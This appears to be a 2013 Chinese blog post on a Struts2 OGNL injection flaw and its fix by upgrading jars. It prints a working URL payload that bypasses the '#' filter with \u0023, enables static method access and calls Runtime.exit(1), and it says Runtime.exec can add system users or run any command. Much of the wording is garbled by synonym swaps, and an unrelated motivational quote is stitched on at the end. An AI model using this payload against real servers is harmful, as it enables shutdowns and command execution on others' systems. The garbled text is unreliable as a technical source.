struts2漏洞道理及解决办法

    添加时间:2013-7-9 点击量:

    1、道理


    Struts2的核心是应用的webwork框架,处理惩罚 action时经由过程调用底层的getter/setter办法来处理惩罚http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。提交一个http参数:


    ?user.address.city=Bishkek&user[favoriteDrink]=kumys 

    ONGL将它转换为:

    action.getUser().getAddress().setCity(Bishkek)  

    action.getUser().setFavoriteDrink(kumys) 


    这是经由过程ParametersInterceptor(参数过滤器)来履行的,应用用户供给的HTTP参数调用 ValueStack.setValue()。 www.2cto.com


    为了防备批改办事器端对象,XWork的ParametersInterceptor不容许参数名中呈现“#”字符,但若是应用了Java的 unicode字符串默示\u0023,进击者就可以绕过保护,批改保护Java体式格式履行的值:





    此处代码有破损性,请在测试景象履行,严禁用此种办法进行恶意进击

    ?(\u0023_memberAccess[\allowStaticMethodAccess\])(meh)=true&(aaa)((\u0023context[\xwork.MethodAccessor.denyMethodution\]\u003d\u0023foo)(\u0023foo\u003dnew%20java.lang.Boolean(false)))&(asdf)((\u0023rt.exit(1))(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 





    转义后是如许:


    ?(#_memberAccess[allowStaticMethodAccess])(meh)=true&(aaa)((#context[xwork.MethodAccessor.denyMethodution]=#foo)(#foo=new%20java.lang.Boolean(false)))&(asdf)((#rt.exit(1))(#rt=@java.lang.Runtime@getRuntime()))=1





    OGNL处理惩罚时终极的成果就是


    java.lang.Runtime.getRuntime().exit(1);  //封闭法度,即将web法度封闭


    类似的可以履行

    java.lang.Runtime.getRuntime().exec( 用户名 暗码 /add);//增长操纵体系用户,在有权限的景象下能成功(在URL顶用%20调换空格,%2F调换/)

    只要有权限就可以履行任何DOS号令。


    2、解决办法

    网上很多文章都介绍了三种解决办法,小我感觉将struts2的jar包更新到新版本最简单,不消更改任何法度代码,今朝新版本2.3.4

    到的更新包中有很多jar包,我体系中首要用到以下几个调换掉旧版本的:

    commons-lang3-3.1.jar        (保存commons-lang-2.6.jar)

    javassist-3.11.0.GA.jar        (新加包)

    ognl-3.0.5.jar            (调换旧版本)

    struts2-core-2.3.4.1.jar    (调换旧版本)

    xwork-core-2.3.4.1.jar        (调换旧版本)




    无论对感情还是对生活,“只要甜不要苦”都是任性而孩子气的,因为我们也不完美,我们也会伤害人。正因为我们都不完美,也因为生活从不是事事如意,所以对这些“瑕疵”的收纳才让我们对生活、对他人的爱变得日益真实而具体。—— 汪冰《世界再亏欠你,也要敢于拥抱幸福》
    分享到: